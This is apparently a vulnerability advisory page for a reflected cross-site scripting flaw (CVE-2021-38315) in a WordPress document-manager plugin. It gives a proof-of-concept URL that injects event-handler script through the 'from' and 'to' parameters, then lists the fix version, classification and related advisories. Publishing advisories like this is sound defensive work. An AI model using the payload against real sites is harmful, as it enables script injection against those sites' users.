SP Project & Document Manager < 4.26 – Reflected Cross-Site Scripting | CVE 2021-38315 | Plugin Vulnerabilities

Description

The plugin is vulnerable to attribute-based Reflected Cross-Site Scripting via the from and to parameters in the ~/functions.php file which allows attackers to inject arbitrary web scripts

Proof of Concept

https://example.com/wp-admin/admin.php?page=sp-client-document-manager&from=" style=animation-name:rotation onanimationstart=alert(/XSS-from/)//&to=" style=animation-name:rotation onanimationstart=alert(/XSS-to/)//

Affects Plugins

sp-client-document-manager

Fixed in 4.26

References

CVE

URL

https://www.wordfence.com/vulnerability-advisories/#CVE-2021-38315

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Thinkland Security Team

Verified

Yes

WPVDB ID

48a8a71e-3b16-4a27-8c29-bef909b8c544

Timeline

Publicly Published

2021-08-16 (about 4 years ago)

Added

2021-08-16 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

Published

Title

Published

2022-03-11

Title

WordPress (5.9-5.9.1) / Gutenberg (9.8.0-12.7.1) - Contributor+ Stored Cross-Site Scripting

Published

2020-10-29

Title

Greenmart < 2.5.2 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Published

2024-04-15

Title

MJ Update History <= 1.0.4 - Reflected Cross-Site Scripting

Published

2022-10-12

Title

3com Asesor de Cookies <= 3.4.3 - Admin+ Stored XSS

Published

2024-11-22

Title

JobBoardWP – Job Board Listings and Submissions < 1.3.1 - Reflected Cross-Site Scripting